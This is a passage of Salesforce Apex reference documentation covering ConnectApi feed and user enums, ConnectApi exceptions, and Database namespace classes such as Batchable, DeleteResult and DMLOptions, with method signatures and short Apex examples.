<td>• Edit—Users who have permission can edit the feed element.</td>
<td></td>
</tr>
<tr>
<td>• EmailMessage—The feed element has an email message from a case.</td>
<td></td>
</tr>
<tr>
<td>• EnhancedLink—The feed element has a link that can contain supplemental information like an icon, a title, and a description.</td>
<td></td>
</tr>
<tr>
<td>Enum</td>
<td>Description</td>
</tr>
<tr>
<td>------</td>
<td>-------------</td>
</tr>
<tr>
<td>• Link</td>
<td>The feed element has a URL.</td>
</tr>
<tr>
<td>• Moderation</td>
<td>Users in a community can flag the feed element for moderation.</td>
</tr>
<tr>
<td>• Mute</td>
<td>The context user can mute the feed element.</td>
</tr>
<tr>
<td>• Origin</td>
<td>The feed element was created by a feed action.</td>
</tr>
<tr>
<td>• Poll</td>
<td>The feed element has poll voting.</td>
</tr>
<tr>
<td>• QuestionAndAnswers</td>
<td>The feed element has a question, and users can add answers to the feed element instead of comments. Users can also select the best answer.</td>
</tr>
<tr>
<td>• Recommendations</td>
<td>The feed element has a recommendation.</td>
</tr>
<tr>
<td>• RecordSnapshot</td>
<td>The feed element has all the snapshotted fields of a record for a single create record event.</td>
</tr>
<tr>
<td>• Topics</td>
<td>The context user can add topics to the feed element.</td>
</tr>
<tr>
<td>• TrackedChanges</td>
<td>The feed element has all changes to a record for a single tracked change event.</td>
</tr>
</tbody>
</table>

**ConnectApi.FeedElementType**
Feed elements are the top-level objects that a feed contains. The feed element type describes the characteristics of that feed element.

- **Bundle** — A container of feed elements. A bundle also has a body made up of message segments that can always be gracefully degraded to text-only values.

- **FeedItem** — A feed item has a single parent and is scoped to one community or across all communities. A feed item can have capabilities such as bookmarks, canvas, content, comment, link, poll. Feed items have a body made up of message segments that can always be gracefully degraded to text-only values.

- **Recommendation** — A recommendation is a feed element with a recommendations capability. A recommendation suggests records to follow, groups to join, or applications that are helpful to the context user.

**ConnectApi.FeedFavorite Type**
Specifies the origin of the feed favorite, such as whether it’s a search term or a list view:

- **ListView**
- **Search**
- **Topic**

**ConnectApi.FeedFilter**
Specifies a filter value for a feed.

- **AllQuestions** — Only feed elements that are questions.
- **CommunityScoped** — Only feed elements that are scoped to communities. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to communities in the future. Feed elements that are always visible in all communities are filtered out. This value is valid only for the UserProfile feed.
- **SolvedQuestions** — Only feed elements that are questions and that have a best answer.
- **UnansweredQuestions** — Only feed elements that are questions and that don’t have any answers.

<tbody>
<tr>
<td>UnsolvedQuestions</td>
<td>Only feed elements that are questions and that don’t have a best answer.</td>
</tr>
</tbody>
</table>

**ConnectApi.FeedItemAttachmentType** Specifies the attachment type for feed item output objects:

- Approval — A feed item requiring approval.
- BasicTemplate — A feed item with a generic rendering of an image, link, and title.
- Canvas — A feed item that contains the metadata to render a link to a canvas app.
- CaseComment — A feed item created from a comment to a case record.
- CaseComment — A feed item created from a comment to a case record.
- Content — A feed item with a file attached.
- DashboardComponent — A feed item with a dashboard attached.
- EmailMessage — An email attached to a case record in Case Feed.
- Link — A feed item with a URL attached.
- Poll — A feed item with a poll attached.
- Question — A feed item with a question attached.
- RecordSnapshot — The feed item attachment contains a view of a record at a single `ConnectApi.FeedItemType.CreateRecordEvent`.
- TrackedChange — All changes to a record for a single `ConnectApi.FeedItemType.TrackedChange` event.

**ConnectApi.FeedItemType** Specifies the type of feed item, such as a content post or a text post.

- ActivityEvent — Feed item generated in Case Feed when an event or task associated with a parent record with a feed enabled is created or updated.
- AdvancedTextPost — A feed item with advanced text formatting, such as a group announcement post.
- ApprovalPost — Feed item with an approval capability. Approvers can act on the feed item parent.
- AttachArticleEvent — Feed item generated when an article is attached to a case in Case Feed.
- BasicTemplateFeedItem — Feed item with an enhanced link capability.
- CallLogPost — Feed item generated when a call log is saved to a case in Case Feed.
- CanvasPost — Feed item generated by a canvas app in the publisher or from Chatter REST API or Chatter in Apex. The post itself is a link to a canvas app.
- CaseCommentPost — Feed item generated when a case comment is saved in Case Feed.
- ChangeStatusPost — Feed item generated when the status of a case is changed in Case Feed.
- ChatTranscriptionPost — Feed item generated in Case Feed when a Live Agent chat transcript is saved to a case.
- CollaborationGroupCreated — Feed item generated when a new public group is created. Contains a link to the new group.
CollaborationGroupUnarchived—Deprecated. Feed item generated when an archived group is activated.

ContentPost—Feed item with a content capability.

CreateRecordEvent—Feed item that describes a record created in the publisher.

DashboardComponentAlert—Feed item with a dashboard alert.

DashboardComponentSnapshot—Feed item with a dashboard component snapshot capability.

EmailMessageEvent—Feed item generated when an email is sent from a case in Case Feed.

FacebookPost—Deprecated. Feed item generated when a Facebook post is created from a case in Case Feed.

LinkPost—Feed item with a link capability.

MilestoneEvent—Feed item generated when a case milestone is either completed or reaches a violation status. Contains a link to the case milestone.

PollPost—Feed item with a poll capability. Viewers of the feed item are allowed to vote on the options in the poll.

ProfileSkillPost—Feed item generated when a skill is added to a user’s profile.

QuestionPost—Feed item generated when a question is asked.

As of API version 33.0, a feed item of this type can have a content capability and a link capability.

ReplyPost—Feed item generated by a Chatter Answers reply.

RypplePost—Feed item generated when a user posts thanks.

SocialPost—Feed item generated when a social post is created from a case in Case Feed.

TextPost—Feed item containing text only.

TrackedChange—Feed item created when one or more fields on a record have been changed.

UserStatus—Deprecated. A user’s post to their own profile.

ConnectApi.FeedItemVisibilityType

Specifications the type of users who can see a feed item.

- AllUsers—Visibility is not limited to internal users.
- InternalUsers—Visibility is limited to internal users.

ConnectApi.FeedSortOrder

Specifications the order returned by the sort, such as by date created or last modified:

- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.

ConnectApi.FeedType

Specifications the type of feed:

- Bookmarks—Contains all feed items saved as bookmarks by the context user.
- Company—Contains all feed items except feed items of type TrackedChange. To see the feed item, the user must have sharing access to its parent.
• **Files**—Contains all feed items that contain files posted by people or groups that the context user follows.
• **Filter**—Contains the news feed filtered to contain feed items whose parent is a specified object type.
• **Groups**—Contains all feed items from all groups the context user either owns or is a member of.
• **Home**—Contains all feed items associated with any managed topic in a community.
• **Moderation**—Contains all feed items that have been flagged for moderation. The Communities Moderation feed is available only to users with "Moderate Community Feeds" permissions.
• **Mute**—Contains all feed items that the context user muted.
• **News**—Contains all updates for people the context user follows, groups the user is a member of, and files and records the user is following. Also contains all updates for records whose parent is the context user and every feed item and comment that mentions the context user or that mentions a group the context user is a member of.
• **People**—Contains all feed items posted by all people the context user follows.
• **Record**—Contains all feed items whose parent is a specified record, which could be a group, user, object, file, or any other standard or custom object. When the record is a group, the feed also contains feed items that mention the group. When the record is a user, the feed contains only feed items on that user. You can get another user’s record feed.
• **To**—Contains all feed items with mentions of the context user, feed items the context user commented on, and feed items created by the context user that are commented on.
• **Topics**—Contains all feed items that include the specified topic.
• **UserProfile**—Contains feed items created when a user changes records that can be tracked in a feed, feed items whose parent is the user, and feed items that @mention the user. This feed is different than the news feed, which returns more feed items, including group updates. You can get another user’s user profile feed.

<td></td>
</tr>
<tr>
<td>ConnectApi.GroupVisibilityType</td>
<td>Specifies the group visibility type.</td>
</tr>
<tr>
<td>• PrivateAccess—Only members of the group can see posts to this group.</td>
<td>• PublicAccess—All users within the community can see posts to this group.</td>
</tr>
<tr>
<td>• Unlisted—Reserved for future use.</td>
<td></td>
</tr>
<tr>
<td>ConnectApi.HttpRequestMethod</td>
<td>Specifies the HTTP method.</td>
</tr>
<tr>
<td>• HttpDelete—Returns HTTP 204 on success. Response body or output class is empty.</td>
<td>• HttpGet—Returns HTTP 200 on success.</td>
</tr>
<tr>
<td>• HttpHead—Returns HTTP 200 on success. Response body or output class is empty.</td>
<td>• HttpPatch—Returns HTTP 200 on success or HTTP 204 if the response body or output class is empty.</td>
</tr>
<tr>
<td>• HttpPost—Returns HTTP 201 on success or HTTP 204 if the response body or output class is empty. Exceptions are the batch posting resources and methods, which return HTTP 200 on success.</td>
<td>• HttpPut—Return HTTP 200 on success or HTTP 204 if the response body or output class is empty.</td>
</tr>
<tr>
<td>ConnectApi.MaintenanceType</td>
<td>Specifies the type of maintenance. One of the following:</td>
</tr>
<tr>
<td>• Downtime—Downtime maintenance.</td>
<td>• GenerallyAvailable—Maintenance with generally available mode.</td>
</tr>
<tr>
<td>• MaintenanceWithDowntime—Scheduled maintenance with downtime.</td>
<td>• ReadOnly—Maintenance with read-only mode.</td>
</tr>
<tr>
<td>ConnectApi.ManagedTopicType</td>
<td>Specifies the type of managed topic.</td>
</tr>
<tr>
<td>• Featured—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.</td>
<td>• Navigational—Topics that display in a navigational menu in the community.</td>
</tr>
<tr>
<td>ConnectApiMarkupType</td>
<td>Specifies the type of rich text markup.</td>
</tr>
<tr>
<td>• Bold—Bold tag.</td>
<td>• Italic—Italic tag.</td>

</tr>
<tr>
<td>- Underline—Underline tag.</td>
<td></td>
</tr>
<tr>
<td>- UnorderedList—Unordered list tag.</td>
<td></td>
</tr>
</tbody>
</table>

**ConnectApi. MentionCompletionType**

Specifies the type of mention completion:

- **All**—All mention completions, regardless of the type of record to which the mention refers.
- **Group**—Mention completions for groups.
- **User**—Mention completions for users.

**ConnectApi. MentionValidationStatus**

Specifies the type of validation error for a proposed mention, if any.

- **Disallowed**—The proposed mention is invalid and is rejected because the context user is trying to mention something that is not allowed. For example, a user who is not a member of a private group is trying to mention the private group.
- **Inaccessible**—The proposed mention is allowed but the user or record being mentioned isn’t notified because they don’t have access to the parent record being discussed.
- **Ok**—There is no validation error for this proposed mention.

**ConnectApi. MessageSegmentType**

Specifies the type of message segment, such as text, link, field change name, or field change value.

- **EntityLink**
- **FieldChange**
- **FieldChangeName**
- **FieldChangeValue**
- **Hashtag**
- **InlineImage**
- **Link**
- **MarkupBegin**
- **MarkupEnd**
- **Mention**
- **MoreChanges**
- **ResourceLink**
- **Text**

**ConnectApi. PlatformActionGroupCategory**

Specifies the location of an action link group on an associated feed element.

- **Primary**—The action link group is displayed in the body of the feed element.
- **Overflow**—The action link group is displayed in the overflow menu of the feed element.
### ConnectApi Enums

ConnectApi.RecommendationType

Specifies the type of record being recommended.

- apps
- files
- groups
- records
- users

ConnectApi.RecommendedObjectType

Specifies the type of object being recommended.

- Today—Static recommendations that don’t have an ID, for example, the Today app recommendation.

ConnectApi.RecordColumnOrder

The order in which fields are rendered in a grid.

- LeftRight—Fields are rendered from left to right.
- TopDown—Fields are rendered from the top down.

ConnectApi.RecordFieldType

The data type of a record field.

- Address
- Blank
- Boolean
- Compound
- CreatedBy
- Date
- DateTime
- Email
- LastModifiedBy
- Location
| Enum                                           | Description                                                                 |

| Percent                                       |                                                                            |
| Phone                                         |                                                                            |
| Picklist                                      |                                                                            |
| Reference                                     |                                                                            |
| Text                                          |                                                                            |
| Time                                          |                                                                            |
| ConnectApi.SortOrder                         | A generic sort order direction.                                            |
|                                               | • Ascending—Ascending order (A-Z).                                          |
|                                               | • Descending—Descending order (Z-A).                                        |
| ConnectApi.TopicSort                         | Specifies the order returned by the sort:                                  |
|                                               | • popularDesc—Sorts topics by popularity with the most popular first. This value is the default. |
|                                               | • alphaAsc—Sorts topics alphabetically.                                    |
| ConnectApi.UserProfile TabType                | Specifies the type of user profile tab:                                   |
|                                               | • CustomVisualForce—Tab that displays data from a Visualforce page.        |
|                                               | • CustomWeb—Tab that displays data from any external Web-based application or Web page. |
|                                               | • Element—Tab that displays generic content inline.                        |
|                                               | • Feed—Tab that displays the Chatter feed.                                |
|                                               | • Overview—Tab that displays user details.                                 |
| ConnectApi.UserType                          | Specifies the type of user.                                               |
|                                               | • ChatterGuest—User is an external user in a private group.               |
|                                               | • ChatterOnly—User is a Chatter Free customer.                            |
|                                               | • Guest—User is unauthenticated.                                          |
|                                               | • Internal—User is a standard organization member.                        |
|                                               | • Portal—User is an external user in a customer portal, partner portal, or community. |
|                                               | • System—User is Chatter Expert or a system user.                         |
|                                               | • Undefined—User is a user type that is a custom object.                  |
| ConnectApi.WorkflowProcess Status            | Specifies the status of a workflow process.                               |
|                                               | • Approved                                                                 |
|                                               | • Fault                                                                   |
|                                               | • Held                                                                    |
|                                               | • NoResponse                                                              |
Enum | Description
--- | ---
Pending |  
Reassigned |  
Rejected |  
Removed |  
Started |  

ConnectApi.ZoneSearch

ResultType

Specifies the zone search result type.
- Article—Search results contain only articles.
- Question—Search results contain only questions.

ConnectApi.ZoneShowIn

Specifies the zone search result type.
- Community—Available in a community.
- Internal—Available internally only.
- Portal—Available in a portal.

**ConnectApi Exceptions**

The `ConnectApi` namespace contains exception classes.

All exceptions classes support built-in methods for returning the error message and exception type. See [Exception Class and Built-In Exceptions](#) on page 1956.

The `ConnectApi` namespace contains these exceptions:

<table>
<thead>
<tr>
<th>Exception</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ConnectApi.ConnectApiException</td>
<td>Any logic error in the way your application is utilizing <code>ConnectApi</code> code. This is equivalent to receiving a 400 error from Chatter REST API.</td>
</tr>
<tr>
<td>ConnectApi.NotFoundException</td>
<td>Any issues with the specified resource being found. This is equivalent to receiving a 404 error from Chatter REST API.</td>
</tr>
<tr>
<td>ConnectApi.RateLimitException</td>
<td>When you exceed the rate limit. This is equivalent to receiving a 503 Service Unavailable error from Chatter REST API.</td>
</tr>
</tbody>
</table>

**Database Namespace**

The `Database` namespace provides classes used with DML operations.

The following are the classes in the `Database` namespace.
IN THIS SECTION:

**Batchable Interface**
The class that implements this interface can be executed as a batch Apex job.

**BatchableContext Interface**
Represents the parameter type of a batch job method and contains the batch job ID. This interface is implemented internally by Apex.

**DeletedRecord Class**
Contains information about a deleted record.

**DeleteResult Class**
Represents the result of a delete DML operation returned by the `Database.delete` method.

**DMLOptions Class**
Enables you to set options related to DML operations.

**DmlOptions.AssignmentRuleHeader Class**
Enables setting assignment rule options.

**DMLOptions.DuplicateRuleHeader Class**
Determines options for using duplicate rules to detect duplicate records. Duplicate rules are part of the Duplicate Management feature.

**DmlOptions.EmailHeader Class**
Enables setting email options.

**DuplicateError Class**
Contains information about an error that occurred when an attempt was made to save a duplicate record. Use if your organization has set up duplicate rules, which are part of the Duplicate Management feature.

**EmptyRecycleBinResult Class**
The result of the emptyRecycleBin DML operation returned by the `Database.emptyRecycleBin` method.

**Error Class**
Represents information about an error that occurred during a DML operation when using a Database method.

**GetDeletedResult Class**
Contains the deleted records retrieved for a specific sObject type and time window.

**GetUpdatedResult Class**
Contains the result for the `Database.getUpdated` method call.

**LeadConvert Class**
Contains information used for lead conversion.

**LeadConvertResult Class**
The result of a lead conversion.

**MergeResult Class**
Contains the result of a merge Database method operation.

**QueryLocator Class**
Represents the record set returned by `Database.getQueryLocator` and used with Batch Apex.

**QueryLocatorIterator Class**
Represents an iterator over a query locator record set.
SaveResult Class
The result of an insert or update DML operation returned by a Database method.

UndeleteResult Class
The result of an undelete DML operation returned by the Database.undelete method.

UpsertResult Class
The result of an upsert DML operation returned by the Database.upsert method.

Batchable Interface
The class that implements this interface can be executed as a batch Apex job.

Namespace
Database

SEE ALSO:
Using Batch Apex

Batchable Methods
The following are methods for Batchable.

IN THIS SECTION:
execute(jobId, recordList)
Gets invoked when the batch job executes and operates on one batch of records. Contains or calls the main execution logic for the batch job.

finish(jobId)
Gets invoked when the batch job finishes. Place any clean up code in this method.

start(jobId)
Gets invoked when the batch job starts. Returns the record set as an iterable that will be batched for execution.

start(jobId)
Gets invoked when the batch job starts. Returns the record set as a QueryLocator object that will be batched for execution.

execute(jobId, recordList)
Gets invoked when the batch job executes and operates on one batch of records. Contains or calls the main execution logic for the batch job.

Signature
public Void execute(Database.BatchableContext jobId, List<sObject> recordList)
Parameters

jobId
    Type: Database.BatchableContext
    Contains the job ID.

recordList
    Type: List<sObject>
    Contains the batch of records to process.

Return Value
Type: Void

finish(jobId)
Gets invoked when the batch job finishes. Place any clean up code in this method.

Signature
public Void finish(Database.BatchableContext jobId)

Parameters

jobId
    Type: Database.BatchableContext
    Contains the job ID.

Return Value
Type: Void

start(jobId)
Gets invoked when the batch job starts. Returns the record set as an iterable that will be batched for execution.

Signature
public System.Iterable start(Database.BatchableContext jobId)

Parameters

jobId
    Type: Database.BatchableContext
    Contains the job ID.

Return Value
Type: System.Iterable
**start**(*jobId*)

Gets invoked when the batch job starts. Returns the record set as a QueryLocator object that will be batched for execution.

**Signature**

```java
public Database.QueryLocator start(Database.BatchableContext jobId)
```

**Parameters**

- **jobId**
  - Type: `Database.BatchableContext`
  - Contains the job ID.

**Return Value**

- Type: `Database.QueryLocator`

**BatchableContext Interface**

Represents the parameter type of a batch job method and contains the batch job ID. This interface is implemented internally by Apex.

**Namespace**

`Database`

**SEE ALSO:**

- `Batchable Interface`

**BatchableContext Methods**

The following are methods for `BatchableContext`.

**IN THIS SECTION:**

- `getChildJobId()`
  - Returns the ID of the current batch job chunk that is being processed.

- `getJobId()`
  - Returns the batch job ID.

**getChildJobId()**

Returns the ID of the current batch job chunk that is being processed.

**Signature**

```java
public Id getChildJobId()
```
Return Value
Type: ID

getJobId()
Returns the batch job ID.

Signature
public Id getJobId()

Return Value
Type: ID

DeletedRecord Class
Contains information about a deleted record.

Namespace
Database

Usage
The getDeletedRecords method of the Database.GetDeletedResult class returns a list of Database.DeletedRecord objects. Use the methods in the Database.DeletedRecord class to retrieve details about each deleted record.

DeletedRecord Methods
The following are methods for DeletedRecord. All are instance methods.

IN THIS SECTION:
    getDeletedDate()
    Returns the deleted date of this record.
    getId()
    Returns the ID of a record deleted within the time window specified in the Database.getDeleted method.

getDeletedDate()
Returns the deleted date of this record.

Signature
public Date getDeletedDate()
Return Value
Type: Date

**getId()**
Returns the ID of a record deleted within the time window specified in the `Database.getDeleted` method.

**Signature**
```java
public Id getId()
```

Return Value
Type: ID

**DeleteResult Class**
Represents the result of a delete DML operation returned by the `Database.delete` method.

**Namespace**
`Database`

**Usage**
An array of `Database.DeleteResult` objects is returned with the `delete` database method. Each element in the DeleteResult array corresponds to the sObject array passed as the `sObject[]` parameter in the `delete` Database method; that is, the first element in the DeleteResult array matches the first element passed in the sObject array, the second element corresponds with the second element, and so on. If only one sObject is passed in, the DeleteResult array contains a single element.

**Example**
The following example shows how to obtain and iterate through the returned `Database.DeleteResult` objects. It deletes some queried accounts using `Database.delete` with a false second parameter to allow partial processing of records on failure. Next, it iterates through the results to determine whether the operation was successful or not for each record. It writes the ID of every record that was processed successfully to the debug log, or error messages and fields of the failed records.

```java
// Query the accounts to delete
Account[] accts = [SELECT Id from Account WHERE Name LIKE 'Acme%'];
// Delete the accounts
Database.DeleteResult[] drList = Database.delete(accts, false);

// Iterate through each returned result
for(Database.DeleteResult dr : drList) {
    if (dr.isSuccess()) {
        // Operation was successful, so get the ID of the record that was processed
        System.debug('Successfully deleted account with ID: ' + dr.getId());
    }
    else {
        // Operation failed, so get all errors
    }
}
```
DeleteResult Methods

The following are methods for DeleteResult. All are instance methods.

IN THIS SECTION:
- getErrors()
- getId()
- isSuccess()

**getErrors()**
If an error occurred, returns an array of one or more database error objects providing the error code and description.

**Signature**

```
public Database.Error[] getErrors()
```

**Return Value**
Type: `Database.Error[]`

**getId()**
Returns the ID of the sObject you were trying to delete.

**Signature**

```
public ID getId()
```

**Return Value**
Type: `ID`

**Usage**
If this field contains a value, the object was successfully deleted. If this field is empty, the operation was not successful for that object.
**isSuccess()**
A Boolean value that is set to true if the DML operation was successful for this object, false otherwise.

**Signature**
```
public Boolean isSuccess()
```

**Return Value**
Type: Boolean

**DMLOptions Class**
Enables you to set options related to DML operations.

**Namespace**
Database

**Usage**
Database.DMLOptions is only available for Apex saved against API versions 15.0 and higher. DMLOptions settings take effect only for record operations performed using Apex DML and not through the Salesforce user interface.

**DmLOptions Properties**
The following are properties for DmLOptions.

**IN THIS SECTION:**
- `allowFieldTruncation`
  Specifies the truncation behavior of large strings.
- `assignmentRuleHeader`
  Specifies the assignment rule to be used when creating a case or lead.
- `emailHeader`
  Specifies additional information regarding the automatic email that gets sent when an events occurs.
- `localeOptions`
  Specifies the language of any labels that are returned by Apex.
- `optAllOrNone`
  Specifies whether the operation allows for partial success.

**allowFieldTruncation**
Specifies the truncation behavior of large strings.
Signature

public Boolean allowFieldTruncation {get; set;}

Property Value

Type: Boolean

Usage

In Apex saved against API versions previous to 15.0, if you specify a value for a string and that value is too large, the value is truncated. For API version 15.0 and later, if a value is specified that is too large, the operation fails and an error message is returned. The allowFieldTruncation property allows you to specify that the previous behavior, truncation, be used instead of the new behavior in Apex saved against API versions 15.0 and later.

**assignmentRuleHeader**

Specifies the assignment rule to be used when creating a case or lead.

Signature

public Database.DmlOptions.Assignmentruleheader assignmentRuleHeader {get; set;}

Property Value

Type: Database.DMLOptions.AssignmentRuleHeader

Usage

**Note:** The Database.DMLOptions object supports assignment rules for cases and leads, but not for accounts or territory management.

**emailHeader**

Specifies additional information regarding the automatic email that gets sent when an events occurs.

Signature

public Database.DmlOptions.EmailHeader emailHeader {get; set;}

Property Value

Type: Database.DMLOptions.EmailHeader

Usage

The Salesforce user interface allows you to specify whether or not to send an email when the following events occur.

- Creation of a new case or task
- Conversion of a case email to a contact
- New user email notification
- Lead queue email notification
Password reset

In Apex saved against API version 15.0 or later, the Database.DMLOptions.emailHeader property enables you to specify additional information regarding the email that gets sent when one of the events occurs because of the code's execution.

**localeOptions**

Specifies the language of any labels that are returned by Apex.

**Signature**

```java
public Database.DmlOptions.LocaleOptions localeOptions {get; set;}
```

**Property Value**

Type: `Database.DMLOptions.LocaleOptions`

**Usage**

The value must be a valid user locale (language and country), such as de_DE or en_GB. The value is a String, 2-5 characters long. The first two characters are always an ISO language code, for example 'fr' or 'en.' If the value is further qualified by a country, then the string also has an underscore (_) and another ISO country code, for example 'US' or 'UK.' For example, the string for the United States is 'en_US,' and the string for French Canadian is 'fr_CA.'

For a list of the languages that Salesforce supports, see Which Languages Does Salesforce Support? in the Salesforce online help.

**optAllOrNone**

Specifies whether the operation allows for partial success.

**Signature**

```java
public Boolean optAllOrNone {get; set;}
```

**Property Value**

Type: `Boolean`

**Usage**

If `optAllOrNone` is set to `true`, all changes are rolled back if any record causes errors. The default for this property is `false` and successfully processed records are committed while records with errors aren't.

This property is available in Apex saved against Salesforce API version 20.0 and later.

**DmlOptions.AssignmentRuleHeader Class**

Enables setting assignment rule options.

**Namespace**

`Database`
Example

The following example uses the `useDefaultRule` option:

```java
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.useDefaultRule = true;

Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
```

The following example uses the `assignmentRuleID` option:

```java
Database.DMLOptions dmo = new Database.DMLOptions();
dmo.assignmentRuleHeader.assignmentRuleId = '01QD0000000EqAn';

Lead l = new Lead(company='ABC', lastname='Smith');
l.setOptions(dmo);
insert l;
```

**DmlOptions.AssignmentRuleHeader Properties**

The following are properties for `DmlOptions.AssignmentRuleHeader`.

**IN THIS SECTION:**

- `assignmentRuleID`
  
  Specifies the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive.

- `useDefaultRule`
  
  If specified as `true` for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not specify an `assignmentRuleId`.

**assignmentRuleID**

Specifies the ID of a specific assignment rule to run for the case or lead. The assignment rule can be active or inactive.

**Signature**

```java
public Id assignmentRuleID {get; set;}
```

**Property Value**

Type: ID

**Usage**

The ID can be retrieved by querying the AssignmentRule sObject. If specified, do not specify `useDefaultRule`.

If the value is not in the correct ID format (15-character or 18-character Salesforce ID), the call fails and an exception is returned.

**Note:** For the Case sObject, the `assignmentRuleID` DML option can be set only from the API and is ignored when set from Apex. For example, you can set the `assignmentRuleID` for an active or inactive rule from the `executeAnonymous()` function.
API call, but not from the Developer Console. This doesn’t apply to leads—the assignmentRuleId DML option can be set for leads from both Apex and the API.

**useDefaultRule**

If specified as **true** for a case or lead, the system uses the default (active) assignment rule for the case or lead. If specified, do not specify an assignmentRuleId.

**Signature**

```java
public Boolean useDefaultRule {get; set;}
```

**Property Value**

*Type: Boolean*

**Usage**

If there are no assignment rules in the organization, in API version 29.0 and earlier, creating a case or lead with **useDefaultRule** set to **true** results in the case or lead being assigned to the predefined default owner. In API version 30.0 and later, the case or lead is unassigned and doesn’t get assigned to the default owner.

**DMLOptions.DuplicateRuleHeader Class**

Determines options for using duplicate rules to detect duplicate records. Duplicate rules are part of the Duplicate Management feature.

**Namespace**

Database

**Example**

The following example shows how to save an account record that’s been identified as a duplicate. To learn how to iterate through duplicate errors, see **DuplicateError Class**

```java
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.includeRecordDetails = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
    System.debug('Duplicate account has been inserted in Salesforce!');
}
```

**IN THIS SECTION:**

DMLOptions.DuplicateRuleHeader Properties
DMLOptions.DuplicateRuleHeader Properties

The following are properties for DMLOptions.DuplicateRuleHeader.

IN THIS SECTION:

allowSave
Set to true to save the duplicate record. Set to false to prevent the duplicate record from being saved.

includeRecordDetails
Set to true to get fields and values for records detected as duplicates. Set to false to get only record IDs for records detected as duplicates.

runAsCurrentUser
Set to true to make sure that sharing rules for the current user are enforced when duplicate rules run. Set to false to use the sharing rules specified in the class for the request. If no sharing rules are specified, Apex code runs in system context and sharing rules for the current user are not enforced.

allowSave
Set to true to save the duplicate record. Set to false to prevent the duplicate record from being saved.

Signature

public Boolean allowSave {get; set;}

Property Value

Type: Boolean

Example

This example shows how to save an account record that’s been identified as a duplicate. dml.DuplicateRuleHeader.allowSave = true means the user should be allowed to save the duplicate. To learn how to iterate through duplicate errors, see DuplicateError Class.

```java
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.includeRecordDetails = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
    System.debug('Duplicate account has been inserted in Salesforce!');
}
```

includeRecordDetails
Set to true to get fields and values for records detected as duplicates. Set to false to get only record IDs for records detected as duplicates.
**Signature**

`public Boolean includeRecordDetails {get; set;}`

**Property Value**

Type: Boolean

**Example**

The following example shows how to save an account record that's been identified as a duplicate. `dml.DuplicateRuleHeader.includeRecordDetails = true` means the user should be allowed to save the duplicate. To learn how to iterate through duplicate errors, see [DuplicateError Class](#).

```
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.includeRecordDetails = true;
dml.DuplicateRuleHeader.runAsCurrentUser = true;
Account duplicateAccount = new Account(Name='dupe');
Database.SaveResult sr = Database.insert(duplicateAccount, dml);
if (sr.isSuccess()) {
    System.debug('Duplicate account has been inserted in Salesforce!');
}
```

**runAsCurrentUser**

Set to `true` to make sure that sharing rules for the current user are enforced when duplicate rules run. Set to `false` to use the sharing rules specified in the class for the request. If no sharing rules are specified, Apex code runs in system context and sharing rules for the current user are not enforced.

**Signature**

`public Boolean runAsCurrentUser {get; set;}`

**Property Value**

Type: Boolean

**Usage**

If specified as `true`, duplicate rules run for the current user, which ensures users can't view duplicate records that aren't available to them.

Use `runAsCurrentUser = true` to detect duplicates when converting leads to contacts. Typically, lead conversion Apex code runs in a system context and does not enforce sharing rules for the current user.

**Example**

This example shows how to set options so that duplicate rules run for the current user when saving a new account.

```
Database.DMLOptions dml = new Database.DMLOptions();
dml.DuplicateRuleHeader.allowSave = true;
dml.DuplicateRuleHeader.includeRecordDetails = true;
```
DmlOptions.EmailHeader Class

Enables setting email options.

Namespace

Database

Usage

Even though auto-sent emails can be triggered by actions in the Salesforce user interface, the DMLOptions settings for emailHeader take effect only for DML operations carried out in Apex code.

Example

In the following example, the triggerAutoResponseEmail option is specified:

```java
Account a = new Account(name='Acme Plumbing');
insert a;

Contact c = new Contact(email='jplumber@salesforce.com', firstname='Joe', lastname='Plumber', accountid=a.id);
insert c;

Database.DMLOptions dlo = new Database.DMLOptions();
dlo.EmailHeader.triggerAutoResponseEmail = true;

Case ca = new Case(subject='Plumbing Problems', contactid=c.id);
database.insert(ca, dlo);
```

DmlOptions.EmailHeader Properties

The following are properties for DmlOptions.EmailHeader.

IN THIS SECTION:

- triggerAutoResponseEmail
  - Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.
triggerAutoResponseEmail
Indicates whether to trigger auto-response rules (true) or not (false), for leads and cases.

**Signature**
public Boolean triggerAutoResponseEmail {get; set;}

**Property Value**
Type: Boolean

**Usage**
This email can be automatically triggered by a number of events, for example creating a case or resetting a user password. If this value is set to true, when a case is created, if there is an email address for the contact specified in ContactID, the email is sent to that address. If not, the email is sent to the address specified in SuppliedEmail.

triggerOtherEmail
Indicates whether to trigger email outside the organization (true) or not (false).

**Signature**
public Boolean triggerOtherEmail {get; set;}

**Property Value**
Type: Boolean

**Usage**
This email can be automatically triggered by creating, editing, or deleting a contact for a case.

**Note:** Email sent through Apex because of a group event includes additional behaviors. A group event is an event for which IsGroupEvent is true. The EventAttendee object tracks the users, leads, or contacts that are invited to a group event. Note the following behaviors for group event email sent through Apex:
- Sending a group event invitation to a lead or contact respects the triggerOtherEmail option
- Email sent when updating or deleting a group event also respects the triggerUserEmail and triggerOtherEmail options, as appropriate

triggerUserEmail
Indicates whether to trigger email that is sent to users in the organization (true) or not (false).
Signature

public Boolean triggerUserEmail {get; set;}

Property Value

Type: Boolean

Usage

This email can be automatically triggered by a number of events; resetting a password, creating a new user, or creating or modifying a task.

**Note:** Adding comments to a case in Apex doesn’t trigger email to users in the organization even if triggerUserEmail is set to `true`.

